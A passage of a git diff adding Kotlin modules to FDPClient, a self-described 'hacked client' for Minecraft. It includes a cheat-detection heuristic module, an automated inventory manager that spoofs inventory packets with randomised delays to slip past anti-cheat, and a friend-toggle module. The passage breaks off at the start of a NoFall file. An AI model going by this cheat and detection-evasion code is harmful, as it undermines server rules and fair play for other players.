hackerDataMap.clear() + } + + fun isHacker(entity: EntityLivingBase): Boolean { + if (entity !is EntityPlayer) return false + return hackers.contains(entity.name) + } + + private fun checkPlayer(player: EntityPlayer) { + if (player == mc.thePlayer || EntityUtils.isFriend(player)) return + if (hackerDataMap[player] == null) hackerDataMap[player] = HackerData(player) + val data = hackerDataMap[player] ?: return + data.update() + if (data.aliveTicks <20) return + + // settings + var minAirTicks = 10 + if (player.isPotionActive(Potion.jump)) { + minAirTicks += player.getActivePotionEffect(Potion.jump).amplifier * 3 + } + val maxMotionY = 0.47 // for strict check u can change this to 0.42 + val triggerBalance = 100 + val minimumClamp = 1000 + var passed = true + + // timer check + val packetTimeNow = System.currentTimeMillis() + var packetBalance = data.packetBalance + val rate: Long = packetTimeNow - data.lastMovePacket + packetBalance += 50.0 + packetBalance -= rate.toDouble() + if (packetBalance >= triggerBalance) { + val ticks = (packetBalance / 50).roundToInt() + packetBalance = (-1 * (triggerBalance / 2)).toDouble() + data.flag("timer", 25, "OVERSHOT TIMER $ticks") + } else if (packetBalance < -1 * minimumClamp) { + // Clamp minimum, 50ms=1tick of lag leniency + packetBalance = (-1 * minimumClamp).toDouble() + } + if (packetBalance < triggerBalance) { + data.packetBalance = packetBalance + data.lastMovePacket = packetTimeNow + } + + if (player.hurtTime> 0) { + // velocity + if (player.hurtResistantTime in 7..11 && + player.prevPosX == player.posX && player.posZ == player.lastTickPosZ && + !mc.theWorld.checkBlockCollision(player.entityBoundingBox.expand(0.05, 0.0, 0.05))) { + data.flag("velocity", 50, "NO KNOCKBACK") + } + if (player.hurtResistantTime in 7..11 && + player.lastTickPosY == player.posY) { + data.flag("velocity", 50, "NO KNOCKBACK") + } + return + } + + // phase +// if(mc.theWorld.checkBlockCollision(player.entityBoundingBox)){ +// flag("phase",50,data,"COLLIDE") +// passed=false +// } + + // killaura from jigsaw + if (data.aps >= 10) { + data.flag("killaura", 30, "HIGH APS(aps=${data.aps})") + passed = false + } + if (data.aps > 2 && data.aps == data.preAps && data.aps != 0) { + data.flag("killaura", 30, "STRANGE APS(aps=${data.aps})") + passed = false + } + if (abs(player.rotationYaw - player.prevRotationYaw) > 50 && player.swingProgress != 0F && + data.aps >= 3) { + data.flag("killaura", 30, "YAW RATE(aps=${data.aps},yawRot=${abs(player.rotationYaw - player.prevRotationYaw)})") + passed = false + } + + // flight + if (player.ridingEntity == null && data.airTicks> (minAirTicks / 2)) { + if (abs(data.motionY - data.lastMotionY) < (if (data.airTicks >= 115) { 1E-3 } else { 5E-3 })) { + data.flag("fly", 20, "GLIDE(diff=${abs(data.motionY - data.lastMotionY)})") + passed = false + } + if (data.motionY > maxMotionY) { + data.flag("fly", 20, "YAXIS(motY=${data.motionY})") + passed = false + } + if (data.airTicks > minAirTicks && data.motionY> 0) { + data.flag("fly", 30, "YAXIS(motY=${data.motionY})") + passed = false + } + // gravity check from ACR +// val gravitatedY = (data.lastMotionY - 0.08) * GRAVITY_FRICTION +// val offset = abs(gravitatedY - data.motionY) +// if (offset > maxOffset) { +// flag("fly",15,data,"GRAVITY(offset=$offset)") +// passed=false +// } + } + + // speed + val distanceXZ = abs(data.motionXZ) + if (data.airTicks == 0) { // onGround + var limit = 0.37 + if (data.groundTicks < 5) limit += 0.1 + if (player.isBlocking) limit *= 0.45 + if (player.isSneaking) limit *= 0.68 + if (player.isPotionActive(Potion.moveSpeed)) { // server will send real player potionData?i hope that + limit += player.getActivePotionEffect(Potion.moveSpeed).amplifier + limit *= 1.5 + } + if (distanceXZ > limit) { + data.flag("speed", 20, "GROUND SPEED(speed=$distanceXZ,limit=$limit)") + } + } else { + val multiplier = 0.985 + var predict = 0.36 * multiplier.pow(data.airTicks + 1) + if (data.airTicks >= 115) { + predict = 0.08.coerceAtLeast(predict) + } + var limit = 0.05 + if (player.isPotionActive(Potion.moveSpeed)) { + predict += player.getActivePotionEffect(Potion.moveSpeed).amplifier * 0.05 + limit *= 1.2 + } + if (player.isPotionActive(Potion.jump)) { + predict += player.getActivePotionEffect(Potion.jump).amplifier * 0.05 + } + if (player.isBlocking) { + predict *= 0.7 + } + + if (distanceXZ - predict > limit) { + data.flag("speed", 20, "AIR SPEED(speed=$distanceXZ,limit=$limit,predict=$predict)") + } + } +// if (abs(data.motionX) > 0.42 +// || abs(data.motionZ) > 0.42){ +// flag("speed",30,data,"HIGH SPEED") +// passed=false +// } +// if (player.isBlocking && (abs(data.motionX) > 0.2 || abs(data.motionZ) > 0.2)) { +// flag("speed",30,data,"HIGH SPEED(BLOCKING)") //blocking is just noslow lol +// passed=false +// } + + // reduce vl + if (passed) { + data.vl -= 1 + } + } + + private fun HackerData.flag(type: String, vl: Int, msg: String) { + if (!this.useHacks.contains(type)) this.useHacks.add(type) + // display debug message + if (debugModeValue.get()) { + alert("§f${this.player.name} §euse §2$type §7$msg §c${this.vl}+$vl") + } + this.vl += vl + + if (this.vl> vlValue.get()) { + var use = "" + for (typ in this.useHacks) { + use += "$typ," + } + use = use.substring(0, use.length - 1) + alert("§f${this.player.name} §eusing hack §a$use") + if (notifyValue.get()) { + FDPClient.hud.addNotification(Notification(name, "${this.player.name} might use hack ($use)", NotifyType.WARNING)) + } + this.vl = -vlValue.get() + + if (reportValue.get()) { + FDPClient.moduleManager[AutoReport::class.java]!!.doReport(this.player) + } + } + } + + private fun checkCombatHurt(entity: Entity) { + if (entity !is EntityLivingBase) return + var attacker: EntityPlayer? = null + var attackerCount = 0 + + for (worldEntity in mc.theWorld.loadedEntityList) { + if (worldEntity !is EntityPlayer || worldEntity.getDistanceToEntity(entity)> 7 || worldEntity.equals(entity)) continue + attackerCount++ + attacker = worldEntity + } + + // multi attacker may cause false result + if (attackerCount != 1) return + if (attacker!! == entity || EntityUtils.isFriend(attacker)) return // i and my friend is hacker lol + val data = hackerDataMap[attacker] ?: return + + // reach check + val reach = attacker.getDistanceToEntity(entity) + if (reach> 3.7) { + data.flag("killaura", 70, "(reach=$reach)") + } + + // aim check + val yawDiff = calculateYawDifference(attacker, entity) + if (yawDiff> 50) { + data.flag("killaura", 100, "(yawDiff=$yawDiff)") + } + } + + private fun calculateYawDifference(from: EntityLivingBase, to: EntityLivingBase): Double { + val x = to.posX - from.posX + val z = to.posZ - from.posZ + return if (x == 0.0 && z == 0.0) { + from.rotationYaw.toDouble() + } else { + val theta = atan2(-x, z) + val yaw = Math.toDegrees((theta + 6.283185307179586) % 6.283185307179586) + abs(180 - abs(abs(yaw - from.rotationYaw) - 180)) + } + } +} + +class HackerData(val player: EntityPlayer) { + var packetBalance = 0.0 + var lastMovePacket = System.currentTimeMillis() + var aliveTicks = 0 + // Ticks in air + var airTicks = 0 + + // Ticks on ground + var groundTicks = 0 + + // motion of the movement + var motionX = 0.0 + var motionY = 0.0 + var motionZ = 0.0 + var motionXZ = 0.0 + + // Previous motion of the movement + private var lastMotionX = 0.0 + var lastMotionY = 0.0 + private var lastMotionZ = 0.0 + private var lastMotionXZ = 0.0 + + // combat check + var aps = 0 + var preAps = 0 + var tempAps = 0 + private val apsTimer = MSTimer() + + var vl = 0 + var useHacks = ArrayList<String>() + + fun update() { + aliveTicks++ + if (apsTimer.hasTimePassed(1000)) { + preAps = aps + aps = tempAps + tempAps = 0 + } + + if (calculateGround()) { + groundTicks++ + airTicks = 0 + } else { + airTicks++ + groundTicks = 0 + } + + this.lastMotionX = this.motionX + this.lastMotionY = this.motionY + this.lastMotionZ = this.motionZ + this.lastMotionXZ = this.motionXZ + this.motionX = player.posX - player.prevPosX + this.motionY = player.posY - player.prevPosY + this.motionZ = player.posZ - player.prevPosZ + this.motionXZ = sqrt(motionX * motionX + motionZ * motionZ) + } + + private fun calculateGround(): Boolean { + val playerBoundingBox = player.entityBoundingBox + val blockHeight = 1 + val customBox = AxisAlignedBB(playerBoundingBox.maxX, player.posY - blockHeight, playerBoundingBox.maxZ, playerBoundingBox.minX, player.posY, playerBoundingBox.minZ) + return Minecraft.getMinecraft().theWorld.checkBlockCollision(customBox) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/InvManager.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/InvManager.kt new file mode 100644 index 0000000..0053c43 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/InvManager.kt @@ -0,0 +1,660 @@ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.injection.access.IItemStack +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.InventoryUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.item.ArmorPiece +import net.ccbluex.liquidbounce.utils.item.ItemUtils +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.block.Block +import net.minecraft.block.BlockBush +import net.minecraft.client.gui.inventory.GuiInventory +import net.minecraft.enchantment.Enchantment +import net.minecraft.init.Blocks +import net.minecraft.item.* +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C09PacketHeldItemChange +import net.minecraft.network.play.client.C16PacketClientStatus +import java.util.stream.Collectors +import java.util.stream.IntStream + +@ModuleInfo(name = "InvManager", category = ModuleCategory.PLAYER) +object InvManager : Module() { + + /** + * OPTIONS + */ + private val instantValue = BoolValue("Instant", false) + private val maxDelayValue: IntegerValue = object : IntegerValue("MaxDelay", 600, 0, 1000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val minCPS = minDelayValue.get() + if (minCPS > newValue) set(minCPS) + } + }.displayable { !instantValue.get() } as IntegerValue + + private val minDelayValue: IntegerValue = object : IntegerValue("MinDelay", 400, 0, 1000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val maxDelay = maxDelayValue.get() + if (maxDelay < newValue) set(maxDelay) + } + }.displayable { !instantValue.get() } as IntegerValue + private val delayValue = IntegerValue("OpenDelay", 0, 0, 1000) + private val invTimer = MSTimer() + + private val invOpenValue = BoolValue("InvOpen", false) + private val simulateInventory = BoolValue("InvSpoof", true) + private val simulateDelayValue = IntegerValue("InvSpoof", 0, 0, 1000).displayable { simulateInventory.get() } + private val noMoveValue = BoolValue("NoMove", false) + private val hotbarValue = BoolValue("Hotbar", true) + private val randomSlotValue = BoolValue("RandomSlot", false) + private val sortValue = BoolValue("Sort", true) + private val throwValue = BoolValue("Drop", true) + private val armorValue = BoolValue("Armor", true) + private val noCombatValue = BoolValue("NoCombat", false) + private val itemDelayValue = IntegerValue("ItemDelay", 0, 0, 5000) + private val swingValue = BoolValue("Swing", true) + private val nbtGoalValue = + ListValue("NBTGoal", ItemUtils.EnumNBTPriorityType.values().map { it.toString() }.toTypedArray(), "NONE") + private val nbtItemNotGarbage = BoolValue("NBTItemNotGarbage", true).displayable { !nbtGoalValue.equals("NONE") } + private val nbtArmorPriority = + FloatValue("NBTArmorPriority", 0f, 0f, 5f).displayable { !nbtGoalValue.equals("NONE") } + private val nbtWeaponPriority = + FloatValue("NBTWeaponPriority", 0f, 0f, 5f).displayable { !nbtGoalValue.equals("NONE") } + private val ignoreVehiclesValue = BoolValue("IgnoreVehicles", false) + private val onlyPositivePotionValue = BoolValue("OnlyPositivePotion", false) +// private val ignoreDurabilityUnder = FloatValue("IgnoreDurabilityUnder", 0.3f, 0f, 1f) + + private val items = arrayOf( + "None", + "Ignore", + "Sword", + "Bow", + "Pickaxe", + "Axe", + "Food", + "Block", + "Water", + "Gapple", + "Pearl", + "Potion", + "Missile" + ) + private val maxmiss = IntegerValue("MaxMissile", 128, 0, 999) + private val maxblock = IntegerValue("MaxBlock", 128, 0, 999) + private val sortSlot1Value = ListValue("SortSlot-1", items, "Sword").displayable { sortValue.get() } + private val sortSlot2Value = ListValue("SortSlot-2", items, "Gapple").displayable { sortValue.get() } + private val sortSlot3Value = ListValue("SortSlot-3", items, "Potion").displayable { sortValue.get() } + private val sortSlot4Value = ListValue("SortSlot-4", items, "Pickaxe").displayable { sortValue.get() } + private val sortSlot5Value = ListValue("SortSlot-5", items, "Axe").displayable { sortValue.get() } + private val sortSlot6Value = ListValue("SortSlot-6", items, "None").displayable { sortValue.get() } + private val sortSlot7Value = ListValue("SortSlot-7", items, "Block").displayable { sortValue.get() } + private val sortSlot8Value = ListValue("SortSlot-8", items, "Pearl").displayable { sortValue.get() } + private val sortSlot9Value = ListValue("SortSlot-9", items, "Food").displayable { sortValue.get() } + + private val openInventory: Boolean + get() = mc.currentScreen !is GuiInventory && simulateInventory.get() + + /** + * means of simulating inventory + */ + private var invOpened = false + set(value) { + if (value != field) { + if (value) { + InventoryUtils.openPacket() + } else { + InventoryUtils.closePacket() + } + } + field = value + } + + private val goal: ItemUtils.EnumNBTPriorityType + get() = ItemUtils.EnumNBTPriorityType.valueOf(nbtGoalValue.get()) + + private var delay = 0L + private val simDelayTimer = MSTimer() + + override fun onDisable() { + invOpened = false + } + + private fun checkOpen(): Boolean { + if (!invOpened && openInventory) { + invOpened = true + simDelayTimer.reset() + return true + } + return !simDelayTimer.hasTimePassed(simulateDelayValue.get().toLong()) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is C16PacketClientStatus) { + invTimer.reset() + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (!invTimer.hasTimePassed(delayValue.get().toLong())) { + return + } + if (noMoveValue.get() && MovementUtils.isMoving() || + mc.thePlayer.openContainer != null && mc.thePlayer.openContainer.windowId != 0 || + (FDPClient.combatManager.inCombat && noCombatValue.get()) + ) { + if (InventoryUtils.CLICK_TIMER.hasTimePassed(simulateDelayValue.get().toLong())) { + invOpened = false + } + return + } + + if (!InventoryUtils.CLICK_TIMER.hasTimePassed(delay) && !instantValue.get() || (mc.currentScreen !is GuiInventory && invOpenValue.get())) { + return + } + + if (armorValue.get()) { + // Find best armor + val bestArmor = findBestArmor() + + // Swap armor + for (i in 0..3) { + val armorPiece = bestArmor[i] ?: continue + val armorSlot = 3 - i + val oldArmor: ItemStack? = mc.thePlayer.inventory.armorItemInSlot(armorSlot) + if (oldArmor == null || oldArmor.item !is ItemArmor || ItemUtils.compareArmor( + ArmorPiece(oldArmor, -1), + armorPiece, + nbtArmorPriority.get(), + goal + ) < 0 + ) { + if (oldArmor != null && move(8 - armorSlot, true)) { + return + } + if (mc.thePlayer.inventory.armorItemInSlot(armorSlot) == null && move(armorPiece.slot, false)) { + return + } + } + } + } + + if (sortValue.get()) { + for (index in 0..8) { + val bestItem = findBetterItem(index, mc.thePlayer.inventory.getStackInSlot(index)) ?: continue + + if (bestItem != index) { + if (checkOpen()) { + return + } + + mc.playerController.windowClick( + 0, + if (bestItem < 9) bestItem + 36 else bestItem, + index, + 2, + mc.thePlayer + ) + + delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + return + } + } + } + + if (throwValue.get()) { + val garbageItems = items(5, if (hotbarValue.get()) 45 else 36) + .filter { !isUseful(it.value, it.key) } + .keys + + val garbageItem = if (garbageItems.isNotEmpty()) { + if (randomSlotValue.get()) { + // pick random one + garbageItems.toList()[RandomUtils.nextInt(0, garbageItems.size)] + } else { + garbageItems.first() + } + } else { + null + } + if (garbageItem != null) { + // Drop all useless items + if (checkOpen()) { + return + } + + if (swingValue.get()) mc.thePlayer.swingItem() + + mc.playerController.windowClick(mc.thePlayer.openContainer.windowId, garbageItem, 1, 4, mc.thePlayer) + + delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + + return + } + } + + if (InventoryUtils.CLICK_TIMER.hasTimePassed(simulateDelayValue.get().toLong())) { + invOpened = false + } + } + + /** + * Checks if the item is useful + * + * @param slot Slot id of the item. If the item isn't in the inventory -1 + * @return Returns true when the item is useful + */ + fun isUseful(itemStack: ItemStack, slot: Int): Boolean { + return try { + val item = itemStack.item + + if (item is ItemSword || (item is ItemTool)) { + + if (slot >= 36 && findBetterItem( + slot - 36, + mc.thePlayer.inventory.getStackInSlot(slot - 36) + ) == slot - 36 + ) { + return true + } + + for (i in 0..8) { + if (type(i).equals("sword", true) && item is ItemSword || + type(i).equals("pickaxe", true) && item is ItemPickaxe || + type(i).equals("axe", true) && item is ItemAxe + ) { + if (findBetterItem(i, mc.thePlayer.inventory.getStackInSlot(i)) == null) { + return true + } + } + } + + val damage = (itemStack.attributeModifiers["generic.attackDamage"].firstOrNull()?.amount + ?: 0.0) + ItemUtils.getWeaponEnchantFactor(itemStack, nbtWeaponPriority.get(), goal) + + items(0, 45).none { (_, stack) -> + if (stack != itemStack && stack.javaClass == itemStack.javaClass) { + val dmg = (stack.attributeModifiers["generic.attackDamage"].firstOrNull()?.amount + ?: 0.0) + ItemUtils.getWeaponEnchantFactor(stack, nbtWeaponPriority.get(), goal) + if (damage == dmg) { + val currDamage = item.getDamage(itemStack) + currDamage >= stack.item.getDamage(stack) + } else damage < dmg + } else { + false + } + } + } else if (item is ItemBow) { + val currPower = ItemUtils.getEnchantment(itemStack, Enchantment.power) + + /*items().none { (_, stack) -> + itemStack != stack && stack.item is ItemBow && + currPower <= ItemUtils.getEnchantment(stack, Enchantment.power) + }*/ + items().none { (_, stack) -> + if (itemStack != stack && stack.item is ItemBow) { + val power = ItemUtils.getEnchantment(stack, Enchantment.power) + + if (currPower == power) { + val currDamage = item.getDamage(itemStack) + currDamage >= stack.item.getDamage(stack) + } else currPower < power + } else { + false + } + } + } else if (item is ItemArmor) { + val currArmor = ArmorPiece(itemStack, slot) + items().none { (slot, stack) -> + if (stack != itemStack && stack.item is ItemArmor) { + val armor = ArmorPiece(stack, slot) + + if (armor.armorType != currArmor.armorType) { + false + } else { + val currDamage = item.getDamage(itemStack) + val result = ItemUtils.compareArmor(currArmor, armor, nbtArmorPriority.get(), goal) + if (result == 0) + currDamage >= stack.item.getDamage(stack) + else result < 0 + } + } else { + false + } + } + } else if (item is ItemFlintAndSteel) { + val currDamage = item.getDamage(itemStack); + items().none { (_, stack) -> + itemStack != stack && stack.item is ItemFlintAndSteel && currDamage >= stack.item.getDamage(stack) + } + } else if (itemStack.unlocalizedName == "item.compass") { + items(0, 45).none { (_, stack) -> itemStack != stack && stack.unlocalizedName == "item.compass" } + } else { + (nbtItemNotGarbage.get() && ItemUtils.hasNBTGoal(itemStack, goal)) || + (item is ItemSnowball && missAmount <= maxmiss.get()) || (item is ItemEgg && missAmount <= maxmiss.get()) || + item is ItemFood || itemStack.unlocalizedName == "item.arrow" || + (item is ItemBlock && !InventoryUtils.isBlockListBlock(item) && blocksAmount <= maxblock.get()) || + item is ItemBed || (item is ItemPotion && (!onlyPositivePotionValue.get() || InventoryUtils.isPositivePotion( + item, + itemStack + ))) || + item is ItemEnderPearl || item is ItemBucket || ignoreVehiclesValue.get() && (item is ItemBoat || item is ItemMinecart) + } + } catch (ex: Exception) { + ClientUtils.logError("(InvManager) Failed to check item: ${itemStack.unlocalizedName}.", ex) + true + } + } + + private fun findBestArmor(): Array<ArmorPiece?> { + val armorPieces = IntStream.range(0, 36) + .filter { i: Int -> + val itemStack = mc.thePlayer.inventory.getStackInSlot(i) + (itemStack != null && itemStack.item is ItemArmor && + (i < 9 || System.currentTimeMillis() - (itemStack as IItemStack).itemDelay >= itemDelayValue.get())) + } + .mapToObj { i: Int -> ArmorPiece(mc.thePlayer.inventory.getStackInSlot(i), i) } + .collect(Collectors.groupingBy { obj: ArmorPiece -> obj.armorType }) + + val bestArmor = arrayOfNulls<ArmorPiece>(4) + for ((key, value) in armorPieces) { + bestArmor[key!!] = value.also { + it.sortWith { armorPiece, armorPiece2 -> + ItemUtils.compareArmor( + armorPiece, + armorPiece2, + nbtArmorPriority.get(), + goal + ) + } + }.lastOrNull() + } + + return bestArmor + } + + private fun findBetterItem(targetSlot: Int, slotStack: ItemStack?): Int? { + val type = type(targetSlot) + + when (type.lowercase()) { + "sword", "pickaxe", "axe" -> { + val currentType: Class<out Item> = when { + type.equals("Sword", ignoreCase = true) -> ItemSword::class.java + type.equals("Pickaxe", ignoreCase = true) -> ItemPickaxe::class.java + type.equals("Axe", ignoreCase = true) -> ItemAxe::class.java + else -> return null + } + + var bestWeapon = if (slotStack?.item?.javaClass == currentType) { + targetSlot + } else { + -1 + } + + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, itemStack -> + if (itemStack != null && itemStack.item.javaClass == currentType && !type(index).equals( + type, + ignoreCase = true + ) + ) { + if (bestWeapon == -1) { + bestWeapon = index + } else { + val currDamage = (itemStack.attributeModifiers["generic.attackDamage"].firstOrNull()?.amount + ?: 0.0) + ItemUtils.getWeaponEnchantFactor(itemStack, nbtWeaponPriority.get(), goal) + + val bestStack = mc.thePlayer.inventory.getStackInSlot(bestWeapon) ?: return@forEachIndexed + val bestDamage = (bestStack.attributeModifiers["generic.attackDamage"].firstOrNull()?.amount + ?: 0.0) + ItemUtils.getWeaponEnchantFactor(bestStack, nbtWeaponPriority.get(), goal) + + if (bestDamage < currDamage) { + bestWeapon = index + } + } + } + } + + return if (bestWeapon != -1 || bestWeapon == targetSlot) bestWeapon else null + } + + "bow" -> { + var bestBow = if (slotStack?.item is ItemBow) targetSlot else -1 + var bestPower = if (bestBow != -1) { + ItemUtils.getEnchantment(slotStack!!, Enchantment.power) + } else { + 0 + } + + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, itemStack -> + if (itemStack?.item is ItemBow && !type(index).equals(type, ignoreCase = true)) { + if (bestBow == -1) { + bestBow = index + } else { + val power = ItemUtils.getEnchantment(itemStack, Enchantment.power) + + if (ItemUtils.getEnchantment(itemStack, Enchantment.power) > bestPower) { + bestBow = index + bestPower = power + } + } + } + } + + return if (bestBow != -1) bestBow else null + } + + "food" -> { + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, stack -> + val item = stack?.item + + if (item is ItemFood && item !is ItemAppleGold && !type(index).equals("Food", ignoreCase = true)) { + val replaceCurr = slotStack == null || slotStack.item !is ItemFood + + return if (replaceCurr) index else null + } + } + } + + "block" -> { + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, stack -> + val item = stack?.item + + if (item is ItemBlock && !InventoryUtils.BLOCK_BLACKLIST.contains(item.block) && + !type(index).equals("Block", ignoreCase = true) + ) { + val replaceCurr = slotStack == null || slotStack.item !is ItemBlock + + return if (replaceCurr) index else null + } + } + } + + "water" -> { + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, stack -> + val item = stack?.item + + if (item is ItemBucket && item.isFull == Blocks.flowing_water && !type(index).equals( + "Water", + ignoreCase = true + ) + ) { + val replaceCurr = + slotStack == null || slotStack.item !is ItemBucket || (slotStack.item as ItemBucket).isFull != Blocks.flowing_water + + return if (replaceCurr) index else null + } + } + } + + "gapple" -> { + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, stack -> + val item = stack?.item + + if (item is ItemAppleGold && !type(index).equals("Gapple", ignoreCase = true)) { + val replaceCurr = slotStack == null || slotStack.item !is ItemAppleGold + + return if (replaceCurr) index else null + } + } + } + + "missile" -> { + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, stack -> + val item = stack?.item + + if ((item is ItemEgg || item is ItemSnowball) && !type(index).equals( + "Missile", + ignoreCase = true + ) + ) { + val replaceCurr = + slotStack == null || (slotStack.item !is ItemEgg && slotStack.item !is ItemSnowball) + + return if (replaceCurr) index else null + } + } + } + + "pearl" -> { + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, stack -> + val item = stack?.item + + if (item is ItemEnderPearl && !type(index).equals("Pearl", ignoreCase = true)) { + val replaceCurr = slotStack == null || slotStack.item !is ItemEnderPearl + + return if (replaceCurr) index else null + } + } + } + + "potion" -> { + mc.thePlayer.inventory.mainInventory.forEachIndexed { index, stack -> + val item = stack?.item + + if ((item is ItemPotion && ItemPotion.isSplash(stack.itemDamage)) && + !type(index).equals("Potion", ignoreCase = true) + ) { + val replaceCurr = + slotStack == null || slotStack.item !is ItemPotion || !ItemPotion.isSplash(slotStack.itemDamage) + + return if (replaceCurr) index else null + } + } + } + } + + return null + } + + /** + * Get items in inventory + */ + private fun items(start: Int = 0, end: Int = 45): Map<Int, ItemStack> { + val items = mutableMapOf<Int, ItemStack>() + + for (i in end - 1 downTo start) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack ?: continue + itemStack.item ?: continue + + if (i in 36..44 && type(i).equals("Ignore", ignoreCase = true)) { + continue + } + + if (System.currentTimeMillis() - (itemStack as IItemStack).itemDelay >= itemDelayValue.get()) { + items[i] = itemStack + } + } + + return items + } + + /** + * Shift+Left clicks the specified item + * + * @param item Slot of the item to click + * @param isArmorSlot + * @return True if it is unable to move the item + */ + private fun move(item: Int, isArmorSlot: Boolean): Boolean { + if (item == -1) { + return false + } else if (!isArmorSlot && item < 9 && hotbarValue.get() && mc.currentScreen !is GuiInventory) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(item)) + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.inventoryContainer.getSlot(item).stack)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + return true + } else { + if (checkOpen()) { + return true // make sure to return + } + if (throwValue.get() && isArmorSlot) { + mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, item, 0, 4, mc.thePlayer) + } else { + mc.playerController.windowClick( + mc.thePlayer.inventoryContainer.windowId, + if (isArmorSlot) item else if (item < 9) item + 36 else item, + 0, + 1, + mc.thePlayer + ) + } + delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + return true + } + } + + /** + * Get type of [targetSlot] + */ + private fun type(targetSlot: Int) = when (targetSlot) { + 0 -> sortSlot1Value.get() + 1 -> sortSlot2Value.get() + 2 -> sortSlot3Value.get() + 3 -> sortSlot4Value.get() + 4 -> sortSlot5Value.get() + 5 -> sortSlot6Value.get() + 6 -> sortSlot7Value.get() + 7 -> sortSlot8Value.get() + 8 -> sortSlot9Value.get() + else -> "" + } + + private val blocksAmount: Int + get() { + var amount = 0 + for (i in 0..44) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (itemStack != null && itemStack.item is ItemBlock && InventoryUtils.canPlaceBlock((itemStack.item as ItemBlock).block)) { + amount += itemStack.stackSize + } + } + return amount + } + private val missAmount: Int + get() { + var amount = 0 + for (i in 0..44) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (itemStack != null && (itemStack.item is ItemSnowball || itemStack.item is ItemEgg)) { + amount += itemStack.stackSize + } + } + return amount + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/MidClick.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/MidClick.kt new file mode 100644 index 0000000..b0010b2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/MidClick.kt @@ -0,0 +1,51 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils.stripColor +import net.minecraft.entity.player.EntityPlayer +import org.lwjgl.input.Mouse + +@ModuleInfo(name = "MidClick", category = ModuleCategory.PLAYER) +object MidClick : Module() { + + private var wasDown = false + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.currentScreen != null) return + + if (!wasDown && Mouse.isButtonDown(2)) { + val entity = mc.objectMouseOver.entityHit + + if (entity is EntityPlayer) { + val playerName = stripColor(entity.getName()) + val friendsConfig = FDPClient.fileManager.friendsConfig + + if (!friendsConfig.isFriend(playerName)) { + friendsConfig.addFriend(playerName) + FDPClient.fileManager.saveConfig(friendsConfig) + ClientUtils.displayChatMessage("§a§l$playerName§c was added to your friends.") + } else { + friendsConfig.removeFriend(playerName) + FDPClient.fileManager.saveConfig(friendsConfig) + ClientUtils.displayChatMessage("§a§l$playerName§c was removed from your friends.") + } + } else { + ClientUtils.displayChatMessage("§c§lError: §aYou need to select a player.") + } + } + + wasDown = Mouse.isButtonDown(2) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/NoFall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/NoFall.kt new file mode 100644 index 0000000..da1afe1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/NoFall.kt @@ -0,0 +1,163 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import 